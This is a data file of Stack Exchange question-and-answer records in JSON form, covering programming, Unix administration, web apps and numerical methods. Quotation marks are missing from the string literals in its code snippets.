{  "id": "_ai.1479"  , "question": "Do scientists or research experts know from the kitchen what is happening inside complex deep neural network with at least millions of connections firing at an instant? Do they understand the process behind this (e.g. what is happening inside and how it works exactly), or it is a subject of debate?For example this study says:However there is no clear understanding of why they perform so well, or how they might be improved.So does it mean the scientists actually doesn't know how complex convolutional network models work?"  , "title": "Do scientists know what is happening inside artificial neural networks?"  , "tags": "neural networks;deep learning;convolutional neural networks"  , "accepted_answer": "It depends on what you mean by know what is happening.Conceptually, yes: ANN perform nonlinear regression. The actual expression represented by the weight matrix/activation function(s) of an ANN can be explicitly expanded in symbolic form (e.g. containing sub-expressions such as 1/1+e^{1/1+e^{...}}).However, if by 'know' you mean predicting the output of some specific (black box) ANN, by some other means, then the obstacle is the presence of chaos in a ANN that has high degrees of freedom.EDIT: Here's some relatively recent work by Hod Lipson on understanding ANNs through  visualisation."  } 
{  "id": "_softwareengineering.315765"  , "question": "Using Visual Studio 2015 update 2, creating a new ASP.NET 4.x application, the default .Net Target framework version is 4.5.Is it a mistake to bump this to 4.6? I did my own research, and I am unclear.It seems to me, that if .Net 4.6.1 is the newest, it should be the default. It is not.  And it almost feels like the subtle message is don't use .net 4.6.1, unless you know what you gain and what you loose, when your app reaches deployment and I can't figure out why.I suspect the reason is that choosing 4.5 means you could deploy in more places even on operating systems where 4.6.1 is not an option, but I can't seem to find any confirmation of this reason for the default."  , "title": "When starting a new ASP.NET application, what changes when I change from .Net 4.5 to 4.6.1 and why is 4.5 the default?"  , "tags": ".net;asp.net;asp.net mvc 4"  } 
{  "id": "_webapps.23512"  , "question": "I love both sites but get tired quickly to double my time doing the share jobs e.g. like button, share button, ... on both site.Is there a way to share in one site, says facebook, and that will be posted automatically in the other site, says google+?"  , "title": "How to auto share to Google+ when share or like from Facebook?"  , "tags": "automation;sharing;facebook;google plus"  } 
{  "id": "_webapps.13601"  , "question": "My partner recently died and his wife deactivated his Facebook account without informing his family. Is there a way to memoralize his account?"  , "title": "Memoralize a Facebook account after deactivation"  , "tags": "facebook"  } 
{  "id": "_unix.202061"  , "question": "We have a file which has 10 lines, and I know that some line has text QWERTY.How can I manipulate the file so that it copies that line and paste it.The output is similar to that yy and p command result in vi editor for those lines, without opening the files.Also while pasting it, is there a way to replace QWERTY of pasting line to QWERTY123 (only to this line)?"  , "title": "Copy line in file if we know the pattern"  , "tags": "shell;text processing"  } 
{  "id": "_codereview.138337"  , "question": "I have some basic code which registers functions, with given variables, to be executed after a certain time has elapsed. I will roll this code into my software project when it is ready. If it works it works but since I've never done this before I am the Padawan and one of you out there, who's written code like this before, is the Jedi Master.Here is my code:#include <unistd.h>#include <sys/time.h>#include <stdlib.h>#include <stdio.h>typedef union EventArgument {    int i;    float f;} event_argument;typedef int (*event_function_ptr)(event_argument);typedef struct EventList {    event_function_ptr ptr;    long time;    event_argument arg;    struct EventList* next;} event_list;event_list events_head;int register_event (event_function_ptr event_funciton, long in_time, event_argument arg);int event_print_int (event_argument arg) {printf(%i\\n, arg.i);}int event_print_float (event_argument arg) {printf(%f\\n, arg.f);}int event_kill (event_argument arg) {exit(arg.i);}int event_99_bottles (event_argument arg) {    if (arg.i == 0) {        printf(no more bottles of beer on the wall!);        event_argument arg_new;        arg_new.i = -1;        register_event (&event_kill, 5000, arg_new);    } else {        printf(%i bottles of beer on the wall. Take one down and pass it around,\\n, arg.i);        event_argument arg_new;        arg_new.i = arg.i - 1;        register_event (&event_99_bottles, 1000, arg_new);    }}long current_time;//loop from event_head until event.next is NULL or event.next.time strictly greater than current_time + in_time then malloc and insert in list.int register_event (event_function_ptr ptr, long in_time, event_argument arg) {    event_list* p = &events_head;    event_list* q = malloc(sizeof(event_list));    q->ptr = ptr;    q->time = current_time + in_time;    q->arg = arg;    while (p->next != NULL && p->next->time <= q->time) {        p = p->next;    }    q->next = p->next;    p->next = q;}//loop through events in order and execute functions, then remove from list until event_head.next == NULL or event_head.next.time is greater than current_time. int check_events (void) {    while (events_head.next != NULL && events_head.next->time <= current_time) {        event_list* p = events_head.next;        p->ptr(p->arg);        events_head.next = p->next;        free(p);    }}int update_time (void) {    struct timeval time_val;    gettimeofday(&time_val, 0);    current_time = time_val.tv_usec / 1000 + time_val.tv_sec * 1000;}int main(void) {    events_head.next = NULL;    update_time();    event_argument arg;    arg.i = 99;    register_event (&event_99_bottles, 20000, arg);    arg.i = 512;    register_event (&event_print_int, 5000, arg);    arg.f = 3.1415;    register_event (&event_print_float, 15000, arg);    arg.i = 58008;    register_event (&event_print_int, 7000, arg);    while (1) {        update_time();        check_events();        usleep(900000);    }}Does this look good?Is there anything missing?Is there anything you think I should know now that will benefit me in future?"  , "title": "99 simple asynchronous bottles on the wall"  , "tags": "c;asynchronous"  , "accepted_answer": "Here are some things that may help you improve your code.Don't use usleep()The usleep() function was part of the POSIX standard, but it was marked obsolete in 2001 and removed entirely from the 2009 version of the POSIX standard.  You can use nanosleep instead.Make it clear when loops endThe code currently uses while (1) in main, but it doesn't really loop infinitely.  It's better, generally, to have the loop exit condition explicitly stated.  For example we could rewrite your main() loop:while (events_head.next) {    update_time();    check_events();    usleep(900000);}This makes it much more clear when and why the loop will end.Return something useful from the subroutinesMany of the functions that claim to retun an int don't return anything at all, so they should be declared void instead.  Alternatively, if there's a value that could usefully be returned, modify the functions to return that instead.Check return values and handle errorsThe code calls malloc but never checks for error return values.  This is a serious problem that must be addressed.  If the sytem ever runs out of memory, the program will crash.Consider re-using memory itemsEach time an event is registered, new memory is allocated, and each time an event is processed, that memory is freed, even when, as in the case of event_99_bottles, the task re-registers itself.  One way to do this would be to have a reregister_event call.Use a void * as the argumentRight now, if you decide to create a new type of event which uses a new type of argument, you'll have to recompile the whole code.  If instead of the EventArugment structure, the EventList contained a void *, then that part of the code would be able to remain the same, even if more elaborate data needed to be passed to specific events.  It would then be up to the called function to cast this to whatever it was expecting as input.Consider using a priority queueWhat you seem to be working toward is something like the event dispatcher for a generic task scheduling routine as might be used in a simple operating system.  Such task schedulers often use a priority queue to allow for higher and lower priority tasks.Consider using an intelligent waitThe check_events() routine doesn't currently return anything useful, but it could.  If it traversed the list, checking for the next deadline and returned that time, then the code could simply sleep for that amount of time, very efficiently only waking up when there was work to do.Eliminate global variables where practicalThe code currently uses two global variables (current_time and events_head) that probably don't really need to be global.  Better would be to pass those as arguments to the functions that need them and/or putting them both inside an Events structure.  If you decide to keep either those (or an Events structure) outside of any function, consider making them static which limits them to file scope.  Generally speaking, it's good practice to make the scope of variables as small as practical."  } 
{  "id": "_webmaster.106403"  , "question": "I regularly see URIs like the following that contain *QUERYSTRINGPII_REMOVED* and the IDS blows them away without further examination. I could just allow the asterisk character but it isn't legitimate for any of our pages. Is there some software people have on their machine that is perhaps redacting what it sees as credit card numbers or otherwise sensitive info? A Google search shows this on quite a few places, not just my site.GET /Private/Info/SomePage?ItemID=a23458575d2&*QUERYSTRINGPII_REMOVED* HTTP/1.1"  , "title": "Why am I seeing *QUERYSTRINGPII_REMOVED* in the query string of a lot of requests"  , "tags": "data uri;mod security"  } 
{  "id": "_softwareengineering.106661"  , "question": "If somebody has to start learning to program, where should he/she start? Should he start to write procedure-oriented programs or jump to OOP?"  , "title": "Which is best programming style to start learning to programm POP or OOP?"  , "tags": "learning;object oriented"  , "accepted_answer": "The best thing you can do is to get a handle on all the paradigms.  I'd suggest the following order:Simple procedural programming: just getting basic sequential programming techniques down.Structured programming: Top-Down design, Abstract Data Types, Modules.Functional Programming: Working without side-effects, functions as first-class objectsObject-Oriented Programming: Abstraction, PolymorphismVery low-level programming, i.e. assembly language: working with the hardware, number of registers, cache, memory, SIMD instructions, optimization, and generally an appreciation of how much easier compilers and interpreters make our jobs.Multiparadigm-programming:  Combine all of the above using the best tool for the job when appropriateAnd then you can try some more esoteric styles, such as Logic Programming (Prolog), and Concurrent Programming (Communicating Synchronous Processes, OCCAM).You can several steps in one language (Python would cover most of the bases), though it's probably better to do 3 in a relatively strict functional language (I'd suggest Lisp), and 4 in a relatively strict OO language (Java, C#).You don't have to go extremely deep in any of the languages, just do a Code Kata or two in each to get a feeling for the paradigms.Having all (or just several) of them under your belt will make you a more versatile programmer, even if you never really go deep into one specific paradigm again."  } 
{  "id": "_hardwarecs.7206"  , "question": "I want to buy a NVIDIA GTX 1070 GPU for deep learning tasks. The following GPUs are the candidates:GIGABYTE GV-N1070G1 GAMING-8GD Graphic CardMSI-GeForce-GTX-1070-ARMOR-8G-OC-Graphics-CardThe former is around 100$ more expensive in my country. I think the main difference is their cooling system. Are there any additional features that justify the price difference?"  , "title": "Comparing two GTX 1070 GPUs for deep learning tasks"  , "tags": "graphics cards"  , "accepted_answer": "The brand and cooling systems are NOT the main differences here, so let's break it down. I will now attempt a Venn diagram in bullet point format:Specs shared by both the MSI and Gigbyte models:Nvidia GeForce GTX 1070 GPU8GB 8008MHz GDDR5 Graphics RAMDisplay connectors (3x DP, 1x HDMI 1x DL DVI-D)Specs specific to MSI model:Base clock: 1556 MHzBoost clock: 1746 MHzSpecs specific to Gigabyte model:Base clock: 1594 MHz (gaming mode), 1620 MHz (OC mode)Boost clock: 1784 MHz (gaming mode), 1822 MHz (OC mode)What you are paying the extra $100 for is not just the cooling system, it's also the pre-overclocked card. You are getting a card with a theoretical maximum speed that is 76 MHz faster.Recommendation (TL;DR): If you have the extra money and want the little extra bit of power, go for it. But being that you chose the 1070 instead of the 1080, I'm thinking that little bit of power isn't very important to you, and probably not worth the $100 investment."  } 
{  "id": "_codereview.151152"  , "question": "I was getting a NoSuchElementException when parsing my double so I had to refine my code to validate the input. Is there anything you recommend?The reason it was throwing a NoSuchElementException was due to new Scanner(extractFieldValue( inputValues, input)); not having a double in the next token so if the input does not contain a double in the next token then I want to skip it. If it does then proceed with the code.Code prior to the validation:public List<Map<Field, List<String>>> dataLookup(Map<Field, List<String>> inputValues) {    Scanner scan = new Scanner(extractFieldValue( inputValues, input));                    String formatString = extractFieldValue( inputValues, format);                DecimalFormat formatter = new DecimalFormat(formatString);                return fillResult(formatter.format(number)); }Code after change that does validation on the input:public List<Map<Field, List<String>>> dataLookup(Map<Field, List<String>> inputValues) {    Scanner scan = new Scanner(extractFieldValue( inputValues, input));    double number = 0;    if(scan.hasNextDouble()) {        number = scan.nextDouble();    }                    String formatString = extractFieldValue( inputValues, format);                DecimalFormat formatter = new DecimalFormat(formatString);                return fillResult(formatter.format(number)); }extractFieldValue returns a String."  , "title": "Validating input next token has a double"  , "tags": "java"  } 
{  "id": "_softwareengineering.189246"  , "question": "I'm exploring a piece of code in Architecture Explorer in Visual Studio 2010 to study the relations between methods. I noticed a strange behavior.Take the following source code. It generates a hello message based on a template and a template engine, the template engine being a method (a sort of strategy pattern simplified at a maximum for demo purposes).public string GenerateHelloMessage(string personName){    return this.ApplyTemplate(        this.DefaultTemplateEngine, this.GenerateLocalizedHelloTemplate(), personName);}private string GenerateLocalizedHelloTemplate(){    return Hello {0}!;}public string ApplyTemplate(    Func<string, string, string> templateEngine, string template, string personName){    return templateEngine(template, personName);}public string DefaultTemplateEngine(string template, string personName){    return string.Format(template, personName);}The graph generated from this code is this one:Change the first method from this:public string GenerateHelloMessage(string personName){    return this.ApplyTemplate(        this.DefaultTemplateEngine, this.GenerateLocalizedHelloTemplate(), personName);}to this:public string GenerateHelloMessage(string personName){    return this.ApplyTemplate(        (a, b) => this.DefaultTemplateEngine(a, b),        this.GenerateLocalizedHelloTemplate(), personName);}and the graph becomes:While semantically identical, those two versions of code produce different dependency graphs, and Architecture Explorer shows no trace of the lambda expression (while Visual Studio's code coverage, for example, shows them, as well as Code analysis seems to be able to understand that the link exists).How would it be possible, without changing the source code, to:Either force Architecture Explorer to display everything, including lambda expressions,Or make it traverse lambda expressions while drawing a dependency through them (so in this case, drawing the dependency from GenerateHelloMessage to DefaultTemplateEngine in the second example)?"  , "title": "How to properly diagram lambda expressions or traversals through them in Architecture Explorer?"  , "tags": "architecture;visual studio;diagrams;lambda;visualization"  , "accepted_answer": "A workaround would be to explicitly call the template engine method, replacing:public string GenerateHelloMessage(string personName){    return this.ApplyTemplate(        (a, b) => this.DefaultTemplateEngine(a, b),        this.GenerateLocalizedHelloTemplate(), personName);}by:public string GenerateHelloMessage(string personName){    Func<string, string, string> engine = this.DefaultTemplateEngine;    return this.ApplyTemplate(        (a, b) => engine(a, b), this.GenerateLocalizedHelloTemplate(), personName);}This change makes the code even more semantically identical; probably even compiler would inline engine variable in the last example to obtain the IL identical to the first example.Still, this approach requires to change source code, which is unacceptable according to the question."  } 
{  "id": "_unix.286998"  , "question": "In my environment I constantly have to attach an NFS server running on Linux. The Linux client system has user names created in it and they are in a sequential order. But in order to set the sharing permission for each user individually, I have to create them using useradd -u 2001 -g 1000 -d /home/app/mnt/1 user1 in my NFS server. If my client system has 1000 users I have to individually crate them on my NFS server too.I want to create multiple user names and assign an UID (not random) using shell script in my Linux NFS server. I also want to assign them a home directory automatically. For example I want to create users like| Username| UID |Home Directory||  user1  |20001|/home/users/1 ||  user2  |20002|/home/users/2 ||  user3  |20003|/home/users/3 ||    .    |  .  |       .      ||    .    |  .  |       .      ||    .    |  .  |       .      ||  userX  |2000X|/home/users/X |User name always starts with user, it remains the same. X could be 100 to 1000.These users are necessary but short lived hence I don't want to go for a central user management platform. Is it possible that a shell script can create users in bulk?I'm a total noob to shell scripting but I went through this article. This starts with exactly what I want, but later goes into things which makes no sense to me."  , "title": "Create multiple username and UID in Linux using shell script"  , "tags": "linux;shell script;useradd"  , "accepted_answer": "As suggested, this is fairly easy to accomplish. On the terminal you could use a for loop like this:for i in {20001..20100}; do useradd -u $i -g 1000 -d /home/app/mnt/$i user${i}; doneThe loop is incremented up to 20100 and then it quits."  } 
{  "id": "_unix.294019"  , "question": "I want to create a config file with a .sh file.I can't figure out how i insert new lines.The code i already have:domainconf='<VirtualHost *:80>\\n ServerName '$fulldomain'\\n DocumentRoot '$fullpath'\\n </VirtualHost>'echo $domainconf > /etc/apache2/sites-available/$fulldomain.conf"  , "title": "New line in variable"  , "tags": "shell script;shell"  } 
{  "id": "_scicomp.6856"  , "question": "I came across the following task recently:Use the von-Neumann stability analysis to investigate the stability of the discrete form of $\\frac{\\partial c}{\\partial x} = \\frac{\\partial^2 c}{\\partial y^2}$. Use the first-order forward finite difference for the first-order derivative and the usual central difference scheme for the second-order derivative. You can use the notation $c_{i, j} = c(ih, jh)$. The corresponding mesh size $h$ is same in both $x$- and $y$-direction. Which restriction arises for mesh size $h$?Hint: the vector $f_k(jh) = \\sin(k \\pi x)$, $j = 0, \\dots, N$, is an eigenvector of finite difference-expression for the second-order derivative. The corresponding eigenvalue is given by $\\lambda_k = \\frac{2}{h^2}(\\cos(\\pi kh) - 1)$.I'm completely confused. I've seen classical example when Von Neumann Stability Analysis is applied to 1D heat equation $\\frac{\\partial T}{\\partial t} = \\frac{\\partial^2 T}{\\partial x^2}$, and it was pretty straightforward. However, this task asks to apply this analysis to stationary problem, therefore I'm not sure how to define amplification factor. Should it be simply $1$? Secondly, now it is 2D, and I don't know how to incorporate this fact into the method. Finally, I'm confused by the hint: I understand neither what it states nor how to utilize it.All I can currently do is discretize it:$$2c_{i + 1, j} = c_{i, j - 1} + c_{i, j + 1}$$So how do I perform the analysis properly in this case? Appreciate your help."  , "title": "Von Neumann Stability Analysis"  , "tags": "pde;finite difference;stability;discretization;fourier analysis"  , "accepted_answer": "I will just point out that the problem you specify is exactly the same as the transient 1D heat equation only with different letters. In the equation you are analyzing just switch c with T, x with t and y with x and you will get the 1D heat equation."  } 
{  "id": "_unix.148695"  , "question": "Can I assign keyboard shortcuts for launching Konsole terminal emulator on Scientific Linux 6 without administrator privileges? If so can you guide me how, I appreciate your help."  , "title": "Scientific Linux 6 assigning keyboard shortcuts"  , "tags": "keyboard shortcuts;scientific linux"  } 
{  "id": "_webmaster.27160"  , "question": "We're tracking clicks on certain banners on a site using synchroneous tracking:var pageTracker = _gat._getTracker(\\''+ ga_acc_code +'\\');pageTracker._trackEvent(\\'click_1\\', \\'Home\\', \\'%title%\\');The site uses asynchroneous tracking and this is synchroneous tracking. But it works and the events are being registered.The site analytics is in ecommerce mode.On the Top Events report we don't see revenues for these segments (see image below).What is wrong? Could it be related to the fact we are using synchronous while the analytics script is set for async tracking?For other events which are tracked asynchronously we do see related revenues. "  , "title": "Google analytics event tracking doesn't show the related revenue"  , "tags": "google analytics;analytics;ecommerce;tracking;click tracking"  , "accepted_answer": "I would definitely update to use Async code. What shopping cart are you using?The event tracking code I use on a header search box is below. There are more parameters available I only have the first two set.onclick=_gaq.push(['_trackEvent', 'Site wide', 'Search']);"  } 
{  "id": "_unix.71015"  , "question": "I have been assured that this is possible, but have so far not found any reference that will clue me as to how to do it. I need to deploy an appliance with software and data that the user is permitted to use, but which I would prefer to keep them from poking around inside. The user will not have root access, so the running system should be protected. I want to stop the HDD being pulled and mounted elsewhere. So far I have installed all but /boot into an Encrypted file system, and I am challenged for a password very early in the boot process. One of my colleagues heard from somewhere that TPM would be the solution to protecting the password challenge, which would allow the system to boot and unencrypt the root partition without root user presence. How do I get this working, been googling for various combinations a words, to no avail. I also installed a TPM-aware version of GRUB, but have no idea how/if this actually helps me."  , "title": "Protecting file system contents with TPM and Encrypted File System"  , "tags": "boot;encryption;secure boot"  } 
{  "id": "_codereview.48260"  , "question": "Please, have a look at the previous (bad) implementation and the review here.After reading the suggested article at HowTo: Export C++ classes from a DLL, I have decided to use a plain C function approach. However, I want to use C++ code inside the DLL later. Anyway, the exported one will be a plain C function with the const char * argument.In my earlier attempt, I tried to pass reference to the vector<string> argument, which is not possible or at least safe. The vector of strings was the result of parsing the line from a text file. Now, I am passing the line itself, and the parsing is done inside the DLL. The code of the caller and the type of the called function look like this:typedef __declspec(dllimport) int (__cdecl *CONVERTPROC)(const char *);int call_convert_from_dll(const std::string & dllname, const char * line){    HINSTANCE hinstLib;    CONVERTPROC convert;    BOOL fRunTimeLinkSuccess = FALSE;    // Get a handle to the DLL module.    hinstLib = LoadLibrary(dllname.c_str());    // If the handle is valid, try to get the function address.    if (hinstLib != nullptr)    {        convert = (CONVERTPROC)GetProcAddress(hinstLib, convert);        // If the function address is valid, call the function.        if (convert != nullptr)        {            fRunTimeLinkSuccess = TRUE;            (convert)(line);        }        else {            DWORD err = GetLastError();            if (err == ERROR_PROC_NOT_FOUND)                cerr << procedure convert() was not found << endl;            else                cerr << runtime link failed:  << err << endl;        }        // Free the DLL module.        FreeLibrary(hinstLib);    }    // If unable to call the DLL function, use an alternative.    if (!fRunTimeLinkSuccess) {        cerr << Failed when using ' << dllname << ' library. << endl;        return 1;    }    return 0;}The name of the called function (from the DLL) is passed as a string. Because of that, the extern C must be used to avoid identifier mangling.The mentioned article also says that no exception should cross the boundary of the DLL module (if it is not the special case when both parts are written in C++ and compiled by the same version of the compiler). Because of that, the try/catch wraps the body of the called function. Any exception is transformed to the error code equal to 1:extern C {          // we need to export the C interface__declspec(dllexport) int __cdecl convert(const char * line){    int err = 0;    try {        cout << my.dll: ' << line << ' << endl;        vector<string> vs;        StringTok(vs, line,  \\t\\n);        err = xmain(vs);    }    catch (...) {        return 1;    }    return err;}} // extern CCan you see any other flaw in the code?"  , "title": "Calling a function from a dynamically loaded DLL (version 2)"  , "tags": "c++;windows"  , "accepted_answer": "Certainly a better approach that the original. Only one 'flaw' that I noticed:You ignore the return value from your convert function.But I do have a couple of comments:You may want to consider making line a const char * const (with associated other changes).Put the type declaration next to the first use. i.e., rather thanHINSTANCE hinstLib;// several lineshinstLib = LoadLibrary(dllname.c_str());doHINSTANCE hinstLib = LoadLibrary(dllname.c_str());Since you're in C++, use bool \\ false etc rather than BOOL. Depending on how frequently this would be called, you may want to adopt a RAII approach similar to Windows DLL Module Class. This could lead to some simplifications in the main flow of the code.LoadLibrary and GetProcAddress are documented as returning NULL rather than std::nullptr. It may be totally silly, but I'd stick with the documentation.You don't deal with the error case of LoadLibrary failing, with respect to GetLastError and giving a sensible error.Consider using a reinterpret_cast<CONVERTPROC> rather than (CONVERTPROC).You only return 1 or 0 from call_convert_from_dll - should it have a bool or enumerated return type?Depending on what the effect of failure is, you may want to consider using exceptions, catching them further up the chain rather than handling failure in this function.For your convert function:The code implies the use of using namespace std. Please don't.Rather than using an err variable, you could return immediately. The function is short enough to be understandable.If any exceptions are likely to be thrown by inner code, catch them separately in the catch block and give details rather than 'catch all and dump'. Perhaps something like:catch (const std::exception& e) {    std::cerr << Convert exception:  << e.what() << std::endl;    return 1;}catch (...) {    std::cerr << Convert unspecified exception << std::endl;    return 1;}"  } 
{  "id": "_scicomp.20583"  , "question": "For a grid-based numerical simulation, I am looking for a load balancing/partitioning algorithm that not only distributes my grid elements, but also determines (approximates) their respective weights. Does anyone know of existing approaches for this problem or can give me some pointers into which kind of mathematical field I should be looking for a possible solution?DetailsLet's say I have $N_e$ grid elements $e_i$, each with a certain computational weight $w_i$. The $w_i$ are all within an order of magnitude, but I don't know their exact value a priori. The elements are now to be distributed among $N_p$ processes, preserving their order. I can only measure the cumulative weight of all elements on one process but not their individual contributions. However, I can repartition the grid multiple times to get multiple measurements with different decompositions.What I am searching for is a method that lets me determine an estimate for the $w_i$ with a relatively low number of decompositions $N_d$. The numbers involved  here are in the range of $N_e = \\mathcal{O}(10^9)$, $N_p = \\mathcal{O}(10^5)$, and $N_d = \\mathcal{O}(10^2)$."  , "title": "Load balancing/partitioning with unknown weights"  , "tags": "domain decomposition"  } 
{  "id": "_softwareengineering.277376"  , "question": "I have written a set of classes to interact with AutoCAD from an out-of-process .NET assembly, but it seems like my class architecture and interactions are unusual.  I am struggling to find a better way to design these.Some background:I am reading data from several thousand AutoCAD drawings, collecting data from bills of materials, title blocks, and other entities.  AutoCAD can be interfaced with from another process in several ways.  One way is to use the AutoCAD COM type library which marshals every call and is relatively slow (about 6 seconds per drawing).  A much faster way is to load a .NET dll into the AutoCAD process and execute the code there.  This .NET component exposes a COM interface (lets call it IAutoCADDataReader) which you can call from the outside world.  If you call a method on this interface, you can harvest the data and return an object that contains all your gathered data (call it IDomainObject).  This works well and takes about 200 ms (huge improvement) since the interaction with the AutoCAD database was all in-process and you only marshaled one complicated object at the very end.The above part of the design I am happy with.  What bothers me is what I do with the IDomainObject when I get it back into my main .NET assembly.  It is of course a _COMObject that I can cast to a IDomainObject, but it does not really exist in my managed assembly, it is a stub or proxy.  When I read its data, it calls across the process boundary.  If AutoCAD gets shut down, I will get a RPC error.  I would really like this object to exist independently of its original source.  The natural solution is to clone it and discard the COM object.Now, usually a Clone method is on the object itself.  This fits with SRP since who would know more about cloning than it would?  That is not a solution in this case since a Clone method on this IDomainObject interface would actually execute in the AutoCAD process and just give me another COM object.  So ignoring SRP, I wrote a private Clone function in the managed assembly that iterates over the various arrays and other data in the IDomainObject and returns a fully managed DomainObject (not an interface).  This new object can now exist independently of AutoCAD, can do whatever I want in the managed world and will not be subject to RPC errors.I like the end result of this convoluted process since I ended up with what I wanted in a fairly fast manner, but I cannot help but think that this is a odd way to architect such a thing.  Do any of you have any suggestions on how this design can be refactored to make it less peculiar?Another criticism that could be leveled at this type of cloning is that it fails the Open/Closed principle.  If I extend any of the subtypes within the IDomainObject, the clone operation will no longer be correct.  I would have to update this private clone function at that time.  This really just shows how this solution works for now, but it violates several principles that will probably bite me as this project continues to evolve.  As a developer of in-company software, this stuff will be used and evolved for years and it would not be good to have these bad practices at the beginning."  , "title": "Peculiar architecture interfacing .NET to AutoCAD out-of-process"  , "tags": ".net;single responsibility;open close;com"  , "accepted_answer": "A relatively simple and generic method to pass .NET objects over process boundaries is to use serialization. Make sure your DomainObject is serializable, then you can implement your Clone method by serializing your object to a memory stream, and deserialize it from there within you main component out-of-process. We used that in conjunction with memory mapped files as a form of IPC to pass a complex object hierarchy, but I am pretty sure that will work in your situation as well without this additional technical detail (and if not: convert the memory stream to a string, then the COM mechanics for passing strings between processes can be applied). This solves exactly the problems you described above: you do not need to write any code for iterating over your internal arrays (the .NET serialization magic will do that for you), and when extending your subtypes, there is nothing to change in your clone method."  } 
{  "id": "_softwareengineering.275688"  , "question": "I have a C# console application. This application has many different projects/C# class files, each of them dedicated to parsing a certain kind of XML and creating an object, called 'Response'. Now, each of these individual projects parses the XML, and gets an error msg field (stores it in the 'Response' object) from these different xmls. Now, based on this error msg, I want to set the value of an other field of the 'Response' object. This processing logic is the same for all the projects.So my question is, should that processing be done just before saving the 'Response' object in the DB, and hence making changes to only 1 single file?Or, should this be a common method in a base class, invoked on all the 30 projects/C# class files?"  , "title": "Where should the following business logic be written?"  , "tags": "c#;design patterns;database;business logic"  } 
{  "id": "_unix.144992"  , "question": "I am running an OpenVPN server on Ubuntu 14.04 as well as OpenSSH. I have my SSH server configured to bind to an IP address on my VPN interface. Once my machine boots, binding to that IP fails. Once I log in, can see with netstat that sshd is not listening. I am able to restart sshd and the machine will start listening properly. The IP on my VPN is the only IP I have configured sshd to listen on.At Boot:sshd[1016]: Set /proc/self/oom_score_adj from 0 to -1000sshd[1016]: error: Bind to port 22 on 10.8.0.1 failed: Cannot assign requested address.sshd[1016]: fatal: Cannot bind any address.Restart SSH:sshd[3481]: Set /proc/self/oom_score_adj from 0 to -1000sshd[3481]: Server listening on 10.8.0.1 port 22.My best guess is that sshd is starting before my VPN is up and running. Is there a way I am able to ensure sshd starts afterwards so it can bind properly?Any suggestions about what to do or check?"  , "title": "Starting SSH server after VPN starts"  , "tags": "vpn;openvpn;openssh;sshd"  , "accepted_answer": "I found a solution.In the OpenVPN configuration file /etc/openvpn/server.conf you can specify a script to run on up. If you take a look at the OpenVPN manual page man openvpn, you will see --up cmd. In the /etc/openvpn/server.conf configuration file, I added a line:up /etc/openvpn/up.shThis file is one that I created and will be executed when the VPN starts. Right now, mine looks like this:#!/bin/shlogger VPN is UPservice ssh restartNow, every time my OpenVPN server starts up, it will also restart the OpenSSH server as well. Likewise, I am able to also use --down cmd and specify a file in the server configuration file if I wish to have a script executed when the server is shutdown.You can read more about these in the OpenVPN manual page - man openvpnHope this helps anyone with the same issue!"  } 
{  "id": "_computerscience.4585"  , "question": "Are mirror-like reflections in computer graphics purely handled with ray-tracing/ray-casting techniques or are there some situations where they are achieved through rasterisation?"  , "title": "Mirror Reflections: Ray Tracing or Rasterisation?"  , "tags": "raytracing;rasterizer;reflection"  } 
{  "id": "_cs.28778"  , "question": "I have trouble understanding my text-book on how to convert a DFA to a Regular Expression using equation-method(don't no what it's called).If someone could explain step by step in detail what's going on it would be great(or maybe a few steps to get me going). (Old exam-task)I have this DFA:And the solution is:I think I understand the left column.First expression in left column: $E_0 = 0E_1 + 1E_2$. $E_0$ is a regular expression that represents the start-state $q_0$. You can choose two paths from $q_0$. On a zero you go to $q_1$ (Zero concatenated with the regular expression $E_1$).Or on a one you go to $q_2$ (one concatenated with the regular expression $E_2$).And the same principle goes for the rest of the column. How do I continue from this?"  , "title": "Converting DFA to Regular Expression equation-method(?)"  , "tags": "automata"  } 
{  "id": "_codereview.172493"  , "question": "I'm trying to write a Poker hand evaluator using NumPy, because I find pure Python is pretty slow.def eval_(*args):    if len(args) == 5:         hand = np.asarray([*args], dtype=np.int8)    else:        hand = np.asarray(args[0], dtype=np.int8)    ranks = np.bincount(hand // 4, minlength = 13)      count = np.array([np.where(ranks == count)[0] for count in range(5)])    if len(count[4]):        return 8, count[4][0], count[1][0]    if len(count[3]) and len(count[2]):        return 7, count[3][0], count[2][0]    if len(count[3]):        return 4, count[3][0], count[1][1], count[1][0]    if len(count[2]) == 2:        return 3, count[2][1], count[2][0], count[1][0]    if len(count[2]):        return 2, count[2][0], count[1][2], count[1][1], count[1][0]    is_straight = count[1][0] + 4 == count[1][4]    is_acestraight = count[1][4] - 9 == count[1][3]    is_flush = 5 in np.bincount(hand % 4)    if is_straight: return 5 + 4 * is_flush, count[1][4]    if is_acestraight: return 5 + 4 * is_flush, 3    return 1 + 5 * is_flush, count[1][4], count[1][3], count[1][2], count[1][1], count[1][0]I'm not satisfied with my code. I don't like all kinds of count[1][2] calls, I should be able to just attach the whole count[1] array to my return value but I don't know how to do it. And I have trouble with np.where(). I don't think I should use list comprehension for different count values on this:count = np.array([np.where(ranks == count)[0] for count in range(5)])but I have no idea.  "  , "title": "Poker hand evaluator using NumPy"  , "tags": "python;performance;python 3.x;numpy"  , "accepted_answer": "I find [interpreted] pure python is pretty slow.Yes, that's true. And numpy operations can offer speed advantages, since its loops are coded in compiled C. But that's only significant when manipulating large arrays, and 5 seems like a pretty small number, too small to realize gains. (I think eval_() only evaluates a single hand at a time, it's not like you're passing in thousands of hands in a single call.)Yes, you could return count[1] instead of count[1][2], but that's quite a different thing, presenting callers with a different API. Would you please state your concern in terms of what values the caller should receive, similar to a unit test?The list comprehension you use seems pretty reasonable to me.You have lots and lots of magic numbers that you might define identifiers for.It wouldn't hurt to mention https://en.wikipedia.org/wiki/List_of_poker_hands in a comment, if that matches the rankings you're returning."  } 
{  "id": "_vi.1874"  , "question": "If I have windows arranged into four quadrants, as from the following sequence of commands::tabnew:vsplit:split<C-W>l:splitthen entering a command like <C-W>J will cause these to no longer be square; in this case, it will force one window to float at the bottom.How can I do the oppositethat is, force the windows back into a square formation?I've read :help window-moving but didn't see anything useful."  , "title": "How can I get my windows back into a grid formation?"  , "tags": "vim windows"  } 
